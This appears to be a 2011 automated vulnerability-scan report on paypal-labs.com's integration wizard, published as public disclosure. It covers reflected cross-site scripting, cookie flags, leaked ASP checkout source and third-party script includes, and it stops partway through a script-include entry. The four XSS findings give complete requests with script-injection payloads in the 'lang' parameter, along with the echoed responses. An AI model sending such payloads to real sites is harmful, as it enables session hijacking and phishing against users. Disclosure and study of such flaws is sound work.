XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, paypal-labs.com

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Fri Aug 12 09:34:03 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

1.1. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php [lang parameter]

1.2. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php [lang parameter]

1.3. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php [lang parameter]

1.4. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php [lang parameter]

2. SSL cookie without secure flag set

3. Cookie without HttpOnly flag set

4. Source code disclosure

5. Cross-domain Referer leakage

6. Cross-domain script include

6.1. https://www.paypal-labs.com/integrationwizard/ecpaypal/billing.php

6.2. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php

6.3. https://www.paypal-labs.com/integrationwizard/ecpaypal/code.php

6.4. https://www.paypal-labs.com/integrationwizard/ecpaypal/intro.php

6.5. https://www.paypal-labs.com/integrationwizard/ecpaypal/legaldisclaimer.php

6.6. https://www.paypal-labs.com/integrationwizard/ecpaypal/main.php

6.7. https://www.paypal-labs.com/paypal-labs/

7. Email addresses disclosed

8. Private IP addresses disclosed

9. Cacheable HTTPS response

9.1. https://www.paypal-labs.com/

9.2. https://www.paypal-labs.com/integrationwizard/ecpaypal/download.php

9.3. https://www.paypal-labs.com/integrationwizard/ecpaypal/legaldisclaimer.php

9.4. https://www.paypal-labs.com/integrationwizard/processHandler.php

9.5. https://www.paypal-labs.com/paypal-labs/

10. HTML does not specify charset

10.1. https://www.paypal-labs.com/

10.2. https://www.paypal-labs.com/integrationwizard/ecpaypal/download.php

11. Content type incorrectly stated

12. SSL certificate



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php [lang parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/cart.php

Issue detail

The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 11fb3'><script>alert(1)</script>afcb75d21ba was submitted in the lang parameter. This input was echoed as 11fb3\'><script>alert(1)</script>afcb75d21ba in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /integrationwizard/ecpaypal/cart.php?lang=aspeead5%3Cscript%3Ealert(document.location)%3C/script%3E82c0e9918a371876c11fb3'><script>alert(1)</script>afcb75d21ba&txtReturnURL=http%3A%2F%2Fxss.cx%2F&txtCancelURL=http%3A%2F%2Fxss.cx%2F&payment_type=Sale&currency=USD HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://burp/show/10

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 14:10:27 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 10581


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <
...[SNIP]...
</script>82c0e9918a371876c11fb3\'><script>alert(1)</script>afcb75d21ba' METHOD='POST'>
...[SNIP]...

1.2. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php [lang parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/cart.php

Issue detail

The value of the lang request parameter is copied into the HTML document as plain text between tags. The payload eead5<script>alert(1)</script>82c0e9918a371876c was submitted in the lang parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /integrationwizard/ecpaypal/cart.php?lang=aspeead5<script>alert(1)</script>82c0e9918a371876c&txtReturnURL=http%3A%2F%2Fxss.cx%2F&txtCancelURL=http%3A%2F%2Fxss.cx%2F&payment_type=Sale&currency=USD HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.paypal-labs.com/integrationwizard/ecpaypal/code.php
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 02:03:24 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 10401


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <
...[SNIP]...
<a style="font-weight:bold;text-align:left;" href="download.php?file=ecfile" >expresscheckout.aspeead5<script>alert(1)</script>82c0e9918a371876c</a>
...[SNIP]...

1.3. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php [lang parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/cart.php

Issue detail

The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload dfc7b'><script>alert(1)</script>d4cb26743aac871d3 was submitted in the lang parameter. This input was echoed as dfc7b\'><script>alert(1)</script>d4cb26743aac871d3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /integrationwizard/ecpaypal/cart.php?lang=aspdfc7b'><script>alert(1)</script>d4cb26743aac871d3&txtReturnURL=http%3A%2F%2Fxss.cx%2F&txtCancelURL=http%3A%2F%2Fxss.cx%2F&payment_type=Sale&currency=USD HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.paypal-labs.com/integrationwizard/ecpaypal/code.php
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 02:03:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 10410


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <
...[SNIP]...
<form action='expresscheckout.aspdfc7b\'><script>alert(1)</script>d4cb26743aac871d3' METHOD='POST'>
...[SNIP]...

1.4. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php [lang parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/cart.php

Issue detail

The value of the lang request parameter is copied into the HTML document as plain text between tags. The payload 8b595<script>alert(1)</script>0c4ff89473d was submitted in the lang parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /integrationwizard/ecpaypal/cart.php?lang=aspeead5%3Cscript%3Ealert(document.location)%3C/script%3E82c0e9918a371876c8b595<script>alert(1)</script>0c4ff89473d&txtReturnURL=http%3A%2F%2Fxss.cx%2F&txtCancelURL=http%3A%2F%2Fxss.cx%2F&payment_type=Sale&currency=USD HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://burp/show/10

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 14:10:28 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 10572


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <
...[SNIP]...
</script>82c0e9918a371876c8b595<script>alert(1)</script>0c4ff89473d</a>
...[SNIP]...

2. SSL cookie without secure flag set  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/index.php

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

GET /integrationwizard/index.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.paypal-labs.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 02:00:36 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=deleted; expires=Thu, 12-Aug-2010 02:00:35 GMT; path=/
Content-Length: 4161
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <title
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/index.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /integrationwizard/index.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.paypal-labs.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 02:00:36 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=deleted; expires=Thu, 12-Aug-2010 02:00:35 GMT; path=/
Content-Length: 4161
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <title
...[SNIP]...

4. Source code disclosure  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/billing.php

Issue detail

The application appears to disclose some server-side source code written in ASP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /integrationwizard/ecpaypal/billing.php HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 13:46:37 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 15569


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <ti
...[SNIP]...
<!-- #include file ="paypalfunctions.asp" -->
<%
if PaymentOption = "PayPal" then

   ' ==================================
   ' PayPal Express Checkout Module
   ' ==================================
   On Error Resume Next

   '------------------------------------
   ' The currencyCodeType and paymentType
   ' are set to the selections made on the Integration Assistant
   '------------------------------------
   currencyCodeType = "USD"
   paymentType = "Sale"

   '------------------------------------
   ' The returnURL is the location where buyers return to when a
   ' payment has been succesfully authorized.
   '
   ' This is set to the value entered on the Integration Assistant
   '------------------------------------
   returnURL = "http://xss.cx/"

   '------------------------------------
   ' The cancelURL is the location buyers are sent to when they click the
   ' return to XXXX site where XXX is the merhcant store name
   ' during payment review on PayPal
   '
   ' This is set to the value entered on the Integration Assistant
   '------------------------------------
   cancelURL = "http://xss.cx/"

   '------------------------------------
   ' The paymentAmount is the total value of
   ' the shopping cart, that was set
   ' earlier in a session variable
   ' by the shopping cart page
   '------------------------------------
   paymentAmount = Session("Payment_Amount")

   '------------------------------------
   ' When you integrate this code
   ' set the variables below with
   ' shipping address details
   ' entered by the user on the
   ' Shipping page.
   '------------------------------------
   shipToName = "<<ShiptoName>>"
   shipToStreet = "<<ShipToStreet>>"
   shipToStreet2 = "<<ShipToStreet2>>" 'Leave it blank if there is no value
   shipToCity = "<<ShipToCity>>"
   shipToState = "<<ShipToState>>"
   shipToCountryCode = "<<ShipToCountryCode>>" ' Please refer to the PayPal country codes in the API documentation
   shipToZip = "<<ShipToZip>>"
   phoneNum = "<<PhoneNumber>>"

   '------------------------------------
   ' Calls the SetExpressCheckout API call
   '
   ' The CallMarkExpressCheckout function is defined in PayPalFunctions.asp
   ' included at the top of this file.
   '-------------------------------------------------
   Set resArray = CallMarkExpressCheckout (paymentAmount, currencyCodeType, paymentType, returnURL, cancelURL, shipToName,
                       shipToStreet, shipToCity, shipToState, shipToCountryCode, shipToZip, shipToStreet2, phoneNum )

   ack = UCase(resArray("ACK"))

   If ack="SUCCESS" Then
       ' Redirect to paypal.com
       SESSION("token") = resArray("TOKEN")
       ReDirectURL( resArray("TOKEN") )
   Else
       'Display a user friendly Error on the page using any of the following error information returned by PayPal
       ErrorCode = URLDecode( resArray("L_ERRORCODE0"))
       ErrorShortMsg = URLDecode( resArray("L_SHORTMESSAGE0"))
       ErrorLongMsg = URLDecode( resArray("L_LONGMESSAGE0"))
       ErrorSeverityCode = URLDecode( resArray("L_SEVERITYCODE0"))
   End If

Else If (((PaymentOption = "Visa") Or (PaymentOption = "MasterCard") Or (PaymentOption = "Amex") or (PaymentOption = "Discover"))
           and ( PaymentProcessorSelected = "PayPal Direct Payment"))

   '------------------------------------
   ' The paymentAmount is the total value of
   ' the shopping cart, that was set
   ' earlier in a session variable
   ' by the shopping cart page
   '------------------------------------
   paymentAmount = Session("Payment_Amount")

   '------------------------------------
   ' The paymentType that was selected earlier
   '------------------------------------
   paymentType = "Sale"
   
   ' Set these values based on what was selected by the user on the Billing page Html form
   
   creditCardType            = "<<Visa/MasterCard/Amex/Discover>>" ' Set this to one of the acceptable values (Visa/MasterCard/Amex/Discover) match it to what was selected on your Billing page
   creditCardNumber        = "<<CC number>>" ' Set this to the string entered as the credit card number on the Billing page
   expDate                = "<<Expiry Date>>" ' Set this to the credit card expiry date entered on the Billing page
   cvv2                    = "<<cvv2>>" ' Set this to the CVV2 string entered on the Billing page
   firstName                = "<<firstName>>" ' Set this to the customer's first name that was entered on the Billing page
   lastName                = "<<lastName>>" ' Set this to the customer's last name that was entered on the Billing page
   street                    = "<<street>>" ' Set this to the customer's street address that was entered on the Billing page
   city                    = "<<city>>" ' Set this to the customer's city that was entered on the Billing page
   state                    = "<<state>>" ' Set this to the customer's state that was entered on the Billing page
   zip                    = "<<zip>>" ' Set this to the zip code of the customer's address that was entered on the Billing page
   countryCode            = "<<PayPal Country Code>>" ' Set this to the PayPal code for the Country of the customer's address that was entered on the Billing page
   currencyCode            = "<<PayPal Currency Code>>" ' Set this to the PayPal code for the Currency used by the customer
               
   '------------------------------------------------
   ' Calls the DoDirectPayment API call
   '
   ' The DirectPayment function is defined in PayPalFunctions.asp included at the top of this file.
   '-------------------------------------------------
   Set resArray = DirectPayment (paymentType, paymentAmount, creditCardType, creditCardNumber,
                           expDate, cvv2, firstName, lastName, street, city, state, zip,
                           countryCode, currencyCode )

   ack = UCase(resArray("ACK"))

   If ack <> "SUCCESS" Then
       'Display a user friendly Error on the page using any of the following error information returned by PayPal
       ErrorCode = URLDecode( resArray("L_ERRORCODE0"))
       ErrorShortMsg = URLDecode( resArray("L_SHORTMESSAGE0"))
       ErrorLongMsg = URLDecode( resArray("L_LONGMESSAGE0"))
       ErrorSeverityCode = URLDecode( resArray("L_SEVERITYCODE0"))

       ' DirectPayment related error information    
       ErrorAVSCode = URLDecode( resArray("AVSCODE"))
       ErrorCVV2Match = URLDecode( resArray("CVV2MATCH"))
       ErrorTransactionId = URLDecode( resArray("TRANSACTIONID"))
       
   End If

End If
%>
</textarea>
...[SNIP]...

5. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/cart.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /integrationwizard/ecpaypal/cart.php?lang=aspeead5%3Cscript%3Ealert(document.location)%3C/script%3E82c0e9918a371876c&txtReturnURL=http%3A%2F%2Fxss.cx%2F&txtCancelURL=http%3A%2F%2Fxss.cx%2F&payment_type=Sale&currency=USD HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://burp/show/10

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 14:10:21 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 10449


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <
...[SNIP]...
</script>
   <script src="https://www.google-analytics.com/urchin.js" type="text/javascript">
   </script>
...[SNIP]...
<li><a href="https://cms.paypal.com/us/cgi-bin/marketingweb?cmd=_render-content&content_ID=ua/Privacy_full&locale.x=en_US" target="_blank" title="Privacy">Privacy</a>
...[SNIP]...
<li><a href="https://www.paypal.com" target="_blank" title="PayPal Home">PayPal Home</a>
...[SNIP]...

6. Cross-domain script include  previous  next
There are 7 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


6.1. https://www.paypal-labs.com/integrationwizard/ecpaypal/billing.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/billing.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /integrationwizard/ecpaypal/billing.php HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 02:03:25 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 9353


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <ti
...[SNIP]...
</script>
   <script src="https://www.google-analytics.com/urchin.js" type="text/javascript">
   </script>
...[SNIP]...

6.2. https://www.paypal-labs.com/integrationwizard/ecpaypal/cart.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/cart.php

Issue detail

The response dynamically includes the following script from another domain:

Request

POST /integrationwizard/ecpaypal/cart.php HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.paypal-labs.com/integrationwizard/ecpaypal/code.php
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

lang=asp&txtReturnURL=http%3A%2F%2Fxss.cx%2F&txtCancelURL=http%3A%2F%2Fxss.cx%2F&payment_type=Sale&currency=USD

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 02:03:17 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 10260


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <
...[SNIP]...
</script>
   <script src="https://www.google-analytics.com/urchin.js" type="text/javascript">
   </script>
...[SNIP]...

6.3. https://www.paypal-labs.com/integrationwizard/ecpaypal/code.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/code.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /integrationwizard/ecpaypal/code.php HTTP/1.1
Host: www.paypal-labs.com
